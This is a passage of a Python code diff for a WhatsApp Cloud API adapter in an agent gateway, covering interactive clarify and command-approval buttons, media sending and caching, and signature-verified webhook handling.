+ "wamid %s likely older than 30 days", wamid,
+ )
+ else:
+ logger.debug(
+ "[whatsapp_cloud] typing/read indicator returned %d (%s)",
+ resp.status_code, code,
+ )
+
+ # ------------------------------------------------------------------ interactive messages
+ #
+ # WhatsApp Cloud supports two interactive primitives we use here:
+ # * ``interactive.type=button`` — up to 3 quick-reply buttons. Each
+ # button has an ``id`` (≤256 chars, returned verbatim on tap) and
+ # a ``title`` (≤20 chars, the label shown). Used for clarify with
+ # ≤3 choices, exec_approval, and slash_confirm.
+ # * ``interactive.type=list`` — a single "Tap to choose" button
+ # that opens a sheet with up to 10 rows. Used for clarify with
+ # >3 choices and the model picker.
+ #
+ # Unlike utility templates these are FREE-FORM and need no Meta-side
+ # approval. They only work *inside* the 24-hour conversation window —
+ # which is fine because all five senders below fire in direct response
+ # to a user message (clarify mid-conversation, approval mid-tool-call,
+ # etc.) so we're always inside the window when they're invoked.
+
+ async def _post_interactive(
+ self,
+ chat_id: str,
+ interactive_body: Dict[str, Any],
+ reply_to: Optional[str] = None,
+ ) -> SendResult:
+ """Low-level POST for an ``interactive`` message payload.
+
+ ``interactive_body`` is the inner ``interactive: {...}`` dict —
+ the caller supplies ``type``, ``body``, and ``action``. This
+ wrapper handles auth, error mapping, and message_id extraction so
+ each send_* method stays focused on its own button shape.
+ """
+ if self._http_client is None:
+ return SendResult(success=False, error="Not connected")
+
+ url = self._graph_url("messages")
+ headers = {
+ "Authorization": f"Bearer {self._access_token}",
+ "Content-Type": "application/json",
+ }
+ payload: Dict[str, Any] = {
+ "messaging_product": "whatsapp",
+ "recipient_type": "individual",
+ "to": chat_id,
+ "type": "interactive",
+ "interactive": interactive_body,
+ }
+ if reply_to:
+ payload["context"] = {"message_id": reply_to}
+
+ try:
+ resp = await self._http_client.post(url, headers=headers, json=payload)
+ except Exception as exc:
+ logger.exception("[whatsapp_cloud] interactive send failed")
+ return SendResult(success=False, error=str(exc))
+
+ if resp.status_code != 200:
+ try:
+ body = resp.json()
+ except Exception:
+ body = {"raw": resp.text[:500]}
+ error_msg = self._format_graph_error(body, resp.status_code)
+ logger.warning(
+ "[whatsapp_cloud] interactive rejected (status=%d): %s",
+ resp.status_code, error_msg,
+ )
+ return SendResult(success=False, error=error_msg)
+
+ last_message_id: Optional[str] = None
+ try:
+ data = resp.json()
+ ids = data.get("messages") or []
+ if ids:
+ last_message_id = ids[0].get("id")
+ except Exception:
+ pass
+ return SendResult(success=True, message_id=last_message_id)
+
+ @staticmethod
+ def _truncate_button_label(text: str, limit: int = 20) -> str:
+ """WhatsApp caps quick-reply button titles at 20 chars and list-row
+ titles at 24. Truncate with an ellipsis so we surface as much of
+ the choice as fits."""
+ text = str(text or "").strip()
+ if len(text) <= limit:
+ return text
+ # Reserve 1 char for the ellipsis. WhatsApp counts the ellipsis
+ # toward the limit.
+ return text[: max(1, limit - 1)] + "…"
+
+ @staticmethod
+ def _truncate_body(text: str, limit: int = 1024) -> str:
+ """``interactive.body.text`` caps at 1024 chars."""
+ text = str(text or "")
+ if len(text) <= limit:
+ return text
+ return text[: limit - 3] + "..."
+
+ async def send_clarify(
+ self,
+ chat_id: str,
+ question: str,
+ choices: Optional[list],
+ clarify_id: str,
+ session_key: str,
+ metadata: Optional[Dict[str, Any]] = None,
+ ) -> SendResult:
+ """Render a clarify prompt as native WhatsApp interactive buttons.
+
+ - 1–3 choices → ``interactive.type=button`` (inline pill buttons).
+ - 4+ choices → ``interactive.type=list`` (tap-to-open sheet with
+ up to 10 rows). Telegram's "Other (type answer)" escape hatch
+ is appended as the final row, picking it flips the entry into
+ text-capture mode handled by the gateway's text intercept.
+ - 0 choices (open-ended) → plain text question; the next message
+ in the session is captured by the gateway and resolves clarify.
+
+ The button ``id`` field carries ``cl::`` (or
+ ``:other``); inbound webhook parsing dispatches on the prefix.
+ """
+ if self._http_client is None:
+ return SendResult(success=False, error="Not connected")
+
+ question = (question or "").strip()
+ reply_to = (metadata or {}).get("reply_to_message_id") if metadata else None
+
+ # Open-ended → just send the question, gateway captures next msg.
+ if not choices:
+ return await self.send(chat_id, f"❓ {question}", reply_to=reply_to)
+
+ # Mirror Telegram: render full choice text in body so long
+ # options aren't truncated to the 20-char button label cap.
+ # Truncate choices to MAX_CHOICES (4) — the tool layer enforces
+ # this already, but be defensive.
+ choices_list = [str(c).strip() for c in choices[:10] if str(c).strip()]
+ option_lines = "\n".join(
+ f"{i + 1}. {c}" for i, c in enumerate(choices_list)
+ )
+ body_text = self._truncate_body(f"❓ {question}\n\n{option_lines}")
+
+ if len(choices_list) <= 3:
+ buttons = [
+ {
+ "type": "reply",
+ "reply": {
+ "id": f"cl:{clarify_id}:{idx}",
+ "title": self._truncate_button_label(str(idx + 1)),
+ },
+ }
+ for idx in range(len(choices_list))
+ ]
+ interactive: Dict[str, Any] = {
+ "type": "button",
+ "body": {"text": body_text},
+ "action": {"buttons": buttons},
+ }
+ else:
+ # List mode: rows must each have id + title (≤24 chars).
+ # Description (≤72 chars) renders below the title — we put
+ # the truncated choice text there for skimmability.
+ rows = []
+ for idx, choice_text in enumerate(choices_list):
+ rows.append({
+ "id": f"cl:{clarify_id}:{idx}",
+ "title": self._truncate_button_label(f"{idx + 1}", limit=24),
+ "description": self._truncate_button_label(choice_text, limit=72),
+ })
+ rows.append({
+ "id": f"cl:{clarify_id}:other",
+ "title": "✏️ Other",
+ "description": "Type your own answer",
+ })
+ interactive = {
+ "type": "list",
+ "body": {"text": body_text},
+ "action": {
+ "button": "Choose",
+ "sections": [{"title": "Options", "rows": rows}],
+ },
+ }
+
+ result = await self._post_interactive(chat_id, interactive, reply_to=reply_to)
+ if result.success:
+ self._bounded_put(self._clarify_state, clarify_id, session_key)
+ return result
+
+ async def send_exec_approval(
+ self,
+ chat_id: str,
+ command: str,
+ session_key: str,
+ description: str = "dangerous command",
+ metadata: Optional[Dict[str, Any]] = None,
+ ) -> SendResult:
+ """Render a dangerous-command approval prompt with native buttons.
+
+ Two quick-reply buttons (Approve / Deny). Tapping resolves the
+ waiting agent via ``tools.approval.resolve_gateway_approval`` —
+ same mechanism as the text ``/approve`` flow. The agent thread
+ is blocked until the user taps or types a response.
+ """
+ if self._http_client is None:
+ return SendResult(success=False, error="Not connected")
+
+ # WhatsApp body caps at 1024 chars; reserve room for the
+ # framing prose around the command.
+ cmd = command or ""
+ cmd_preview = cmd if len(cmd) <= 800 else cmd[:800] + "..."
+ body_text = self._truncate_body(
+ f"⚠️ *Command Approval Required*\n\n"
+ f"```\n{cmd_preview}\n```\n\n"
+ f"Reason: {description}"
+ )
+
+ approval_id = uuid.uuid4().hex[:12]
+ reply_to = (metadata or {}).get("reply_to_message_id") if metadata else None
+
+ interactive = {
+ "type": "button",
+ "body": {"text": body_text},
+ "action": {
+ "buttons": [
+ {
+ "type": "reply",
+ "reply": {"id": f"appr:{approval_id}:approve", "title": "✅ Approve"},
+ },
+ {
+ "type": "reply",
+ "reply": {"id": f"appr:{approval_id}:deny", "title": "❌ Deny"},
+ },
+ ],
+ },
+ }
+
+ result = await self._post_interactive(chat_id, interactive, reply_to=reply_to)
+ if result.success:
+ self._bounded_put(self._exec_approval_state, approval_id, session_key)
+ return result
+
+ async def send_slash_confirm(
+ self,
+ chat_id: str,
+ title: str,
+ message: str,
+ session_key: str,
+ confirm_id: str,
+ metadata: Optional[Dict[str, Any]] = None,
+ ) -> SendResult:
+ """Render a 3-button slash-command confirmation prompt.
+
+ Mirrors Telegram's send_slash_confirm: Approve Once / Always /
+ Cancel. The confirm_id is supplied by the caller (slash command
+ handler) — we just store the session_key mapping for the inbound
+ resolver to look up.
+ """
+ if self._http_client is None:
+ return SendResult(success=False, error="Not connected")
+
+ body_text = self._truncate_body(f"*{title}*\n\n{message}")
+ reply_to = (metadata or {}).get("reply_to_message_id") if metadata else None
+
+ interactive = {
+ "type": "button",
+ "body": {"text": body_text},
+ "action": {
+ "buttons": [
+ {
+ "type": "reply",
+ "reply": {"id": f"sc:once:{confirm_id}", "title": "✅ Approve Once"},
+ },
+ {
+ "type": "reply",
+ "reply": {"id": f"sc:always:{confirm_id}", "title": "🔒 Always"},
+ },
+ {
+ "type": "reply",
+ "reply": {"id": f"sc:cancel:{confirm_id}", "title": "❌ Cancel"},
+ },
+ ],
+ },
+ }
+
+ result = await self._post_interactive(chat_id, interactive, reply_to=reply_to)
+ if result.success:
+ self._bounded_put(self._slash_confirm_state, confirm_id, session_key)
+ return result
+
+ @staticmethod
+ def _format_graph_error(body: Dict[str, Any], status_code: int) -> str:
+ err = (body or {}).get("error") or {}
+ # Graph API error shape:
+ # {"error": {"message": "...", "type": "...", "code": ..., "fbtrace_id": "..."}}
+ message = err.get("message") or body.get("raw") or "unknown error"
+ code = err.get("code")
+ if code is not None:
+ return f"graph error {code} (HTTP {status_code}): {message}"
+ return f"HTTP {status_code}: {message}"
+
+ async def get_chat_info(self, chat_id: str) -> Dict[str, Any]:
+ # Cloud API doesn't expose a direct "chat info" endpoint the way
+ # Slack/Discord do — we just echo the wa_id. Profile name (when
+ # known) flows in via webhook ``contacts[].profile.name`` and is
+ # cached on the MessageEvent, not here.
+ return {"name": chat_id, "type": "dm"}
+
+ # ------------------------------------------------------------------ outbound media
+ async def _upload_media(
+ self,
+ file_path: str,
+ media_kind: str,
+ mime_type: Optional[str] = None,
+ ) -> tuple[Optional[str], Optional[str]]:
+ """Upload a local file to the Graph /media endpoint.
+
+ Returns ``(media_id, None)`` on success, ``(None, error_string)``
+ on failure. Two-step send: this gets the id, then ``_send_media``
+ references it. Used when we have a local file and no public URL.
+
+ ``media_kind`` is one of "image", "video", "audio", "document",
+ "sticker" — selects size cap + default mime fallback.
+ """
+ if self._http_client is None:
+ return None, "Not connected"
+ if not os.path.exists(file_path):
+ return None, f"File not found: {file_path}"
+
+ size = os.path.getsize(file_path)
+ cap = _MEDIA_SIZE_LIMITS.get(media_kind, _MEDIA_SIZE_LIMITS["document"])
+ if size > cap:
+ return None, (
+ f"File {os.path.basename(file_path)} is {size} bytes; "
+ f"Cloud API {media_kind} cap is {cap} bytes"
+ )
+
+ if not mime_type:
+ mime_type, _ = mimetypes.guess_type(file_path)
+ if not mime_type:
+ mime_type = _DEFAULT_MIME.get(media_kind, "application/octet-stream")
+
+ url = self._graph_url("media")
+ headers = {"Authorization": f"Bearer {self._access_token}"}
+ try:
+ with open(file_path, "rb") as fh:
+ files = {
+ "file": (os.path.basename(file_path), fh, mime_type),
+ "messaging_product": (None, "whatsapp"),
+ "type": (None, mime_type),
+ }
+ resp = await self._http_client.post(url, headers=headers, files=files)
+ except Exception as exc:
+ logger.exception("[whatsapp_cloud] media upload failed")
+ return None, str(exc)
+
+ if resp.status_code != 200:
+ try:
+ body = resp.json()
+ except Exception:
+ body = {"raw": resp.text[:500]}
+ return None, self._format_graph_error(body, resp.status_code)
+
+ try:
+ data = resp.json()
+ media_id = data.get("id")
+ except Exception:
+ media_id = None
+ if not media_id:
+ return None, "Upload response missing 'id'"
+ return media_id, None
+
+ async def _send_media(
+ self,
+ chat_id: str,
+ media_kind: str,
+ *,
+ media_id: Optional[str] = None,
+ media_link: Optional[str] = None,
+ caption: Optional[str] = None,
+ filename: Optional[str] = None,
+ reply_to: Optional[str] = None,
+ ) -> SendResult:
+ """POST a media message referencing either an uploaded media_id or
+ a public ``link``.
+
+ Exactly one of ``media_id`` or ``media_link`` must be set. Captions
+ and filenames are passed through where Meta accepts them (caption
+ on image/video/document; filename on document only).
+ """
+ if self._http_client is None:
+ return SendResult(success=False, error="Not connected")
+ if bool(media_id) == bool(media_link):
+ return SendResult(
+ success=False,
+ error="Exactly one of media_id or media_link must be set",
+ )
+
+ url = self._graph_url("messages")
+ headers = {
+ "Authorization": f"Bearer {self._access_token}",
+ "Content-Type": "application/json",
+ }
+
+ media_block: Dict[str, Any] = {}
+ if media_id:
+ media_block["id"] = media_id
+ else:
+ media_block["link"] = media_link
+ if caption and media_kind in {"image", "video", "document"}:
+ media_block["caption"] = caption
+ if filename and media_kind == "document":
+ media_block["filename"] = filename
+
+ payload: Dict[str, Any] = {
+ "messaging_product": "whatsapp",
+ "recipient_type": "individual",
+ "to": chat_id,
+ "type": media_kind,
+ media_kind: media_block,
+ }
+ if reply_to:
+ payload["context"] = {"message_id": reply_to}
+
+ try:
+ resp = await self._http_client.post(url, headers=headers, json=payload)
+ except Exception as exc:
+ logger.exception("[whatsapp_cloud] media send failed")
+ return SendResult(success=False, error=str(exc))
+
+ if resp.status_code != 200:
+ try:
+ body = resp.json()
+ except Exception:
+ body = {"raw": resp.text[:500]}
+ error_msg = self._format_graph_error(body, resp.status_code)
+ logger.warning(
+ "[whatsapp_cloud] media send rejected (status=%d, kind=%s): %s",
+ resp.status_code, media_kind, error_msg,
+ )
+ return SendResult(success=False, error=error_msg)
+
+ try:
+ data = resp.json()
+ ids = data.get("messages") or []
+ wamid = ids[0].get("id") if ids else None
+ except Exception:
+ wamid = None
+ return SendResult(success=True, message_id=wamid)
+
+ async def _send_media_from_path_or_link(
+ self,
+ chat_id: str,
+ source: str,
+ media_kind: str,
+ *,
+ caption: Optional[str] = None,
+ filename: Optional[str] = None,
+ reply_to: Optional[str] = None,
+ mime_type: Optional[str] = None,
+ ) -> SendResult:
+ """Smart dispatcher: HTTPS URL → ``link`` send; local path → upload + ``id`` send.
+
+ Prefers the ``link`` path when possible (one fewer Graph round
+ trip). Meta fetches from the URL themselves. Used as the common
+ backend for ``send_image`` / ``send_video`` / etc. — keeps the
+ public method bodies thin.
+ """
+ if source.startswith(("http://", "https://")):
+ return await self._send_media(
+ chat_id,
+ media_kind,
+ media_link=source,
+ caption=caption,
+ filename=filename,
+ reply_to=reply_to,
+ )
+ media_id, err = await self._upload_media(source, media_kind, mime_type)
+ if err:
+ return SendResult(success=False, error=err)
+ return await self._send_media(
+ chat_id,
+ media_kind,
+ media_id=media_id,
+ caption=caption,
+ filename=filename,
+ reply_to=reply_to,
+ )
+
+ async def send_image(
+ self,
+ chat_id: str,
+ image_url: str,
+ caption: Optional[str] = None,
+ reply_to: Optional[str] = None,
+ **kwargs,
+ ) -> SendResult:
+ """Send an image by public URL. Prefers Meta's ``link`` mode.
+
+ ``**kwargs`` absorbs platform-agnostic args the base class passes
+ (e.g. ``metadata``) that the Cloud API doesn't have a use for.
+ Mirrors send_image_file / send_video / send_voice / send_document.
+ """
+ return await self._send_media_from_path_or_link(
+ chat_id, image_url, "image", caption=caption, reply_to=reply_to
+ )
+
+ async def send_image_file(
+ self,
+ chat_id: str,
+ image_path: str,
+ caption: Optional[str] = None,
+ reply_to: Optional[str] = None,
+ **kwargs,
+ ) -> SendResult:
+ """Send a local image file via two-step upload + id."""
+ return await self._send_media_from_path_or_link(
+ chat_id, image_path, "image", caption=caption, reply_to=reply_to
+ )
+
+ async def send_video(
+ self,
+ chat_id: str,
+ video_path: str,
+ caption: Optional[str] = None,
+ reply_to: Optional[str] = None,
+ **kwargs,
+ ) -> SendResult:
+ """Send a video. Local path → upload; HTTPS URL → link mode."""
+ return await self._send_media_from_path_or_link(
+ chat_id, video_path, "video", caption=caption, reply_to=reply_to
+ )
+
+ async def send_voice(
+ self,
+ chat_id: str,
+ audio_path: str,
+ caption: Optional[str] = None,
+ reply_to: Optional[str] = None,
+ **kwargs,
+ ) -> SendResult:
+ """Send an audio file as a WhatsApp voice message.
+
+ WhatsApp renders ``audio/ogg; codecs=opus`` as the green
+ voice-note bubble; other audio types (MP3, AAC, etc.) appear as
+ a generic audio attachment. Hermes TTS produces MP3, so we try
+ ffmpeg conversion to opus first and fall back to sending the
+ MP3 as-is when ffmpeg is unavailable.
+ """
+ source = audio_path
+ mime_type: Optional[str] = None
+
+ is_local_mp3 = (
+ not audio_path.startswith(("http://", "https://"))
+ and audio_path.lower().endswith(".mp3")
+ and os.path.exists(audio_path)
+ )
+ if is_local_mp3:
+ opus_path = await self._convert_to_opus(audio_path)
+ if opus_path:
+ try:
+ result = await self._send_media_from_path_or_link(
+ chat_id, opus_path, "audio",
+ caption=caption, reply_to=reply_to,
+ mime_type="audio/ogg; codecs=opus",
+ )
+ finally:
+ # The .ogg is a transient conversion artifact next to
+ # the source MP3 — clean it up after upload so voice
+ # sends don't leak a file per message.
+ try:
+ os.unlink(opus_path)
+ except OSError:
+ pass
+ return result
+ # Will deliver as MP3 attachment, not voice bubble.
+ # Warn-once is logged inside _convert_to_opus.
+ mime_type = "audio/mpeg"
+
+ return await self._send_media_from_path_or_link(
+ chat_id, source, "audio",
+ caption=caption, reply_to=reply_to, mime_type=mime_type,
+ )
+
+ async def send_document(
+ self,
+ chat_id: str,
+ file_path: str,
+ caption: Optional[str] = None,
+ file_name: Optional[str] = None,
+ reply_to: Optional[str] = None,
+ **kwargs,
+ ) -> SendResult:
+ """Send a document attachment with optional filename + caption."""
+ return await self._send_media_from_path_or_link(
+ chat_id, file_path, "document",
+ caption=caption,
+ filename=file_name or os.path.basename(file_path),
+ reply_to=reply_to,
+ )
+
+ # ------------------------------------------------------------------ opus conversion
+ async def _convert_to_opus(self, mp3_path: str) -> Optional[str]:
+ """Convert an MP3 to ``audio/ogg; codecs=opus`` for voice bubbles.
+
+ Returns the path to the converted file, or None if ffmpeg is
+ missing / conversion fails (caller falls back to sending the
+ original MP3 as an audio file).
+
+ ``-application voip`` tunes the opus encoder for speech.
+ ``-b:a 32k -vbr on`` matches the bitrate WhatsApp produces for
+ native voice notes (small files, good intelligibility).
+ """
+ if not _FFMPEG_PATH:
+ self._warn_once_no_ffmpeg()
+ return None
+
+ out_path = mp3_path.rsplit(".", 1)[0] + ".ogg"
+ try:
+ proc = await asyncio.create_subprocess_exec(
+ _FFMPEG_PATH, "-y", "-i", mp3_path,
+ "-c:a", "libopus", "-b:a", "32k", "-vbr", "on",
+ "-application", "voip", out_path,
+ stdout=asyncio.subprocess.DEVNULL,
+ stderr=asyncio.subprocess.PIPE,
+ )
+ _, stderr = await proc.communicate()
+ if proc.returncode != 0 or not Path(out_path).exists():
+ logger.error(
+ "[whatsapp_cloud] ffmpeg opus conversion failed "
+ "(returncode=%s): %s",
+ proc.returncode,
+ (stderr or b"").decode("utf-8", errors="replace")[:500],
+ )
+ return None
+ return out_path
+ except Exception:
+ logger.exception("[whatsapp_cloud] ffmpeg subprocess raised")
+ return None
+
+ def _warn_once_no_ffmpeg(self) -> None:
+ if self._warned_no_ffmpeg:
+ return
+ self._warned_no_ffmpeg = True
+ logger.warning(
+ "[whatsapp_cloud] ffmpeg not found on PATH — voice messages will "
+ "be delivered as MP3 audio attachments instead of native voice "
+ "notes (green waveform bubble). Install ffmpeg to enable: "
+ "Windows `winget install Gyan.FFmpeg`, macOS `brew install ffmpeg`, "
+ "Linux package manager."
+ )
+
+ # ------------------------------------------------------------------ inbound media
+ async def _download_media_to_cache(
+ self,
+ media_id: str,
+ *,
+ ext_hint: Optional[str] = None,
+ ) -> tuple[Optional[str], Optional[str]]:
+ """Two-step Graph media download: ``GET /`` → temp URL → bytes.
+
+ Returns ``(local_path, mime_type)`` on success. ``mime_type``
+ falls back to what Graph reports in the metadata response.
+ Returns ``(None, None)`` on any failure (logged).
+
+ The temporary URL from step 1 is signed and expires in ~5
+ minutes; we download immediately and never persist the URL.
+ """
+ if self._http_client is None:
+ return None, None
+ # Defense in depth: media_id comes from the (signature-verified)
+ # webhook payload, but it's interpolated into both a Graph URL and
+ # a cache filename below — refuse anything that isn't a plain
+ # Meta-style media id so a hostile payload can't traverse paths.
+ media_id = str(media_id).strip()
+ if not re.fullmatch(r"[A-Za-z0-9._-]+", media_id):
+ logger.warning(
+ "[whatsapp_cloud] refusing malformed media id %r", media_id[:64]
+ )
+ return None, None
+ headers = {"Authorization": f"Bearer {self._access_token}"}
+
+ # Step 1 — metadata (gives us a temporary signed URL + mime)
+ try:
+ meta_resp = await self._http_client.get(
+ f"{GRAPH_API_BASE}/{self._api_version}/{media_id}",
+ headers=headers,
+ )
+ except Exception:
+ logger.exception(
+ "[whatsapp_cloud] media metadata fetch raised (id=%s)", media_id
+ )
+ return None, None
+ if meta_resp.status_code != 200:
+ logger.warning(
+ "[whatsapp_cloud] media metadata fetch failed (id=%s, status=%d)",
+ media_id, meta_resp.status_code,
+ )
+ return None, None
+
+ try:
+ meta = meta_resp.json()
+ except Exception:
+ return None, None
+ temp_url = meta.get("url")
+ mime = meta.get("mime_type") or ""
+ if not temp_url:
+ return None, None
+
+ # Step 2 — bytes (auth required even though URL is signed; Meta
+ # documents this explicitly — the URL alone is not enough).
+ try:
+ blob_resp = await self._http_client.get(temp_url, headers=headers)
+ except Exception:
+ logger.exception(
+ "[whatsapp_cloud] media bytes fetch raised (id=%s)", media_id
+ )
+ return None, None
+ if blob_resp.status_code != 200:
+ logger.warning(
+ "[whatsapp_cloud] media bytes fetch failed (id=%s, status=%d)",
+ media_id, blob_resp.status_code,
+ )
+ return None, None
+
+ # Decide the extension. Prefer the override map so audio/ogg
+ # produces .ogg (not the technically-correct-but-broken .oga
+ # mimetypes returns by default). Fall back to ext_hint then
+ # ``.bin`` for unknown types.
+ ext = ext_hint
+ if not ext and mime:
+ ext = _ext_for_mime(mime)
+ if not ext:
+ ext = ".bin"
+
+ _INBOUND_MEDIA_CACHE.mkdir(parents=True, exist_ok=True)
+ out_path = _INBOUND_MEDIA_CACHE / f"{media_id}{ext}"
+ try:
+ out_path.write_bytes(blob_resp.content)
+ except OSError:
+ logger.exception(
+ "[whatsapp_cloud] failed to write cached media (id=%s)", media_id
+ )
+ return None, None
+
+ return str(out_path), mime or None
+
+
+ # ------------------------------------------------------------------ inbound
+ async def _handle_health(self, request: "web.Request") -> "web.Response":
+ return web.json_response(
+ {
+ "status": "ok",
+ "platform": self.platform.value,
+ "phone_number_id": self._phone_number_id,
+ "webhook_path": self._webhook_path,
+ "verify_token_configured": bool(self._verify_token),
+ "app_secret_configured": bool(self._app_secret),
+ "ffmpeg_present": _FFMPEG_PATH is not None,
+ "accepted": self._accepted_count,
+ "duplicates": self._duplicate_count,
+ "rejected_signature": self._rejected_signature_count,
+ }
+ )
+
+ async def _handle_verify(self, request: "web.Request") -> "web.Response":
+ """Meta subscription verification handshake.
+
+ Meta calls GET ``?hub.mode=subscribe&hub.verify_token=...
+ &hub.challenge=...``. We must echo the challenge as plain text iff
+ ``hub.mode == "subscribe"`` AND ``hub.verify_token`` matches the
+ shared secret. Constant-time comparison.
+ """
+ if not self._verify_token:
+ # Misconfigured server — refuse rather than silently accepting
+ # any verify_token, which would let an attacker subscribe.
+ return web.Response(status=503, text="verify_token not configured")
+
+ mode = request.query.get("hub.mode", "")
+ token = request.query.get("hub.verify_token", "")
+ challenge = request.query.get("hub.challenge", "")
+
+ if mode != "subscribe":
+ return web.Response(status=400, text="bad mode")
+
+ # Constant-time compare to avoid token-length / token-content leaks
+ # via timing. ``hmac.compare_digest`` works on str.
+ import hmac as _hmac
+
+ if not _hmac.compare_digest(token, self._verify_token):
+ return web.Response(status=403, text="verify_token mismatch")
+ if not challenge:
+ return web.Response(status=400, text="missing challenge")
+ return web.Response(text=challenge, content_type="text/plain")
+
+ async def _handle_webhook(self, request: "web.Request") -> "web.Response":
+ """Inbound webhook POST handler.
+
+ Lifecycle:
+ 1. Read raw bytes (signature is over the raw body — JSON parsing
+ must NOT happen first, or the bytes change).
+ 2. Verify ``X-Hub-Signature-256`` HMAC against ``app_secret``.
+ 3. Parse JSON.
+ 4. Walk ``entry[].changes[].value.{messages, statuses, contacts}``.
+ 5. Per-message: dedup by wamid, build MessageEvent, dispatch via
+ ``handle_message`` (which runs the mixin's gating).
+ 6. Always respond 200 once we've ack'd a valid request — Meta
+ retries on non-200 for up to 7 days, and we don't want to
+ multiply downstream agent work because of a transient bug
+ during dispatch.
+ """
+ try:
+ raw = await request.read()
+ except Exception:
+ return web.Response(status=400)
+
+ # Meta's documented max payload is 3MB. Reject earlier than aiohttp
+ # would so we don't even compute HMAC over giant junk.
+ if len(raw) > 3 * 1024 * 1024:
+ return web.Response(status=413)
+
+ # Refuse to accept anything if app_secret isn't configured. Without
+ # it we can't authenticate the sender, and the handler would be a
+ # data-injection point. Same defensive posture as the GET verify
+ # handshake refusing when verify_token is empty.
+ if not self._app_secret:
+ logger.error(
+ "[whatsapp_cloud] webhook POST refused: app_secret unset. "
+ "Set WHATSAPP_CLOUD_APP_SECRET to enable inbound delivery."
+ )
+ return web.Response(status=503, text="app_secret not configured")
+
+ signature_header = request.headers.get("X-Hub-Signature-256", "")
+ if not self._verify_signature(raw, signature_header):
+ self._rejected_signature_count += 1
+ logger.warning(
+ "[whatsapp_cloud] rejected webhook: invalid X-Hub-Signature-256 "
+ "(header=%r, body_len=%d)",
+ signature_header,
+ len(raw),
+ )
+ return web.Response(status=401)
+
+ # Parse only AFTER signature passes — bad JSON from an attacker is
+ # already filtered out, this just guards against Meta sending
+ # something malformed.
+ import json as _json
+
+ try:
+ payload = _json.loads(raw)
+ except Exception:
+ logger.warning("[whatsapp_cloud] webhook body is not valid JSON")
+ return web.Response(status=400)
+
+ if not isinstance(payload, dict):
+ return web.Response(status=400)
+
+ await self._dispatch_payload(payload)
+ return web.Response(status=200)
+
+ # ------------------------------------------------------------------ signature
+ def _verify_signature(self, raw_body: bytes, header: str) -> bool:
+ """Verify the X-Hub-Signature-256 HMAC.
+
+ Meta sends ``sha256=``; we compute the same HMAC with
+ ``app_secret`` as the key and ``raw_body`` (UTF-8 bytes, not
+ re-serialized JSON) as the message. Constant-time compare.
+ """
+ if not self._app_secret or not header:
+ return False
+ if not header.startswith("sha256="):
+ return False
+ expected_hex = header[len("sha256="):].strip()
+ if not expected_hex:
+ return False
+ computed = hmac.new(
+ self._app_secret.encode("utf-8"),
+ raw_body,
+ hashlib.sha256,
+ ).hexdigest()
+ return hmac.compare_digest(computed.lower(), expected_hex.lower())
+
+ # ------------------------------------------------------------------ dispatch
+ def _dedup_wamid(self, wamid: str) -> bool:
+ """Return True if this wamid is being seen for the first time.
+
+ Returns False (and increments duplicate counter) if the wamid is
+ already in the in-memory cache. Cache is FIFO-evicted at
+ ``WAMID_DEDUP_CACHE_SIZE``.
+ """
+ if not wamid:
+ # No wamid means we can't dedup — let it through. Meta should
+ # always populate ``id``, but be defensive.
+ return True
+ if wamid in self._seen_wamids:
+ self._duplicate_count += 1
+ return False
+ self._seen_wamids[wamid] = True
+ # Trim oldest entries to stay under the cap.
+ while len(self._seen_wamids) > WAMID_DEDUP_CACHE_SIZE:
+ self._seen_wamids.popitem(last=False)
+ return True
+
+ async def _dispatch_payload(self, payload: Dict[str, Any]) -> None:
+ """Walk a verified Meta webhook payload and dispatch each message.
+
+ Payload shape (truncated):
+ {object, entry: [{id, changes: [{value: {messages, contacts,
+ statuses, metadata}, field: "messages"}]}]}
+
+ We surface ``messages`` events as MessageEvents; ``statuses``
+ events (sent/delivered/read/failed) are logged but not dispatched
+ — the agent doesn't currently consume delivery receipts and
+ forwarding them would create noisy synthetic events.
+ """
+ if payload.get("object") != "whatsapp_business_account":
+ logger.debug(
+ "[whatsapp_cloud] ignoring non-WABA payload (object=%r)",
+ payload.get("object"),
+ )
+ return
+ for entry in payload.get("entry") or []:
+ if not isinstance(entry, dict):
+ continue
+ for change in entry.get("changes") or []:
+ if not isinstance(change, dict):
+ continue
+ if change.get("field") != "messages":
+ # Other fields (account_alerts, template_status_update,
+ # etc.) are subscription-dependent and not message
+ # ingress. Silent skip.
+ continue
+ value = change.get("value") or {}
+ contacts = value.get("contacts") or []
+ metadata = value.get("metadata") or {}
+ # Build a wa_id → profile-name index for the messages we're
+ # about to surface.
+ contacts_by_waid: Dict[str, str] = {}
+ for contact in contacts:
+ if not isinstance(contact, dict):
+ continue
+ wa_id = str(contact.get("wa_id") or "").strip()
+ profile = contact.get("profile") or {}
+ name = str(profile.get("name") or "").strip()
+ if wa_id:
+ contacts_by_waid[wa_id] = name
+
+ for raw_message in value.get("messages") or []:
+ if not isinstance(raw_message, dict):
+ continue
+ wamid = str(raw_message.get("id") or "").strip()
+ if not self._dedup_wamid(wamid):
+ logger.debug(
+ "[whatsapp_cloud] duplicate wamid %s, skipping",
+ wamid,
+ )
+ continue
+ try:
+ event = await self._build_message_event_from_cloud(
+ raw_message, contacts_by_waid, metadata
+ )
+ except Exception:
+ # Build errors must not bubble out either: the wamid
+ # is already dedup-marked above, so a 500 here would
+ # make Meta retry the batch and every message in it
+ # (including this one) would be silently dropped as
+ # a duplicate. Log and move on to the next message.
+ logger.exception(
+ "[whatsapp_cloud] failed to build event for wamid %s",
+ wamid,
+ )
+ continue
+ if event is None:
+ continue
+ self._accepted_count += 1
+ try:
+ await self.handle_message(event)
+ except Exception:
+ # Dispatch errors must not bubble out — Meta would
+ # retry the whole batch, multiplying the bug.
+ logger.exception(
+ "[whatsapp_cloud] handle_message raised for wamid %s",
+ wamid,
+ )
+
+ # Log status updates at debug level — useful for diagnosing
+ # "did Meta accept my outbound" without flooding INFO logs.
+ for status in value.get("statuses") or []:
+ if isinstance(status, dict):
+ logger.debug(
+ "[whatsapp_cloud] status %s for %s",
+ status.get("status"),
+ status.get("id"),
+ )
+
+ async def _dispatch_interactive_reply(
+ self,
+ raw_message: Dict[str, Any],
+ contacts_by_waid: Dict[str, str],
+ ) -> bool:
+ """Route an inbound interactive reply to the matching resolver.
+
+ Returns True if the tap was claimed (caller should drop the
+ webhook entry without dispatching a fresh conversation turn).
+ Returns False when the id has no recognized prefix, no live
+ state entry, or the resolver itself reports no waiter — in
+ those cases the caller falls back to standard text-event
+ dispatch, which treats the button title as a normal user
+ message. That graceful fallback covers stale-tap and
+ cross-process-restart scenarios.
+
+ Dispatch table:
+ ``cl::`` → resolve_gateway_clarify
+ ``appr::approve|deny`` → resolve_gateway_approval
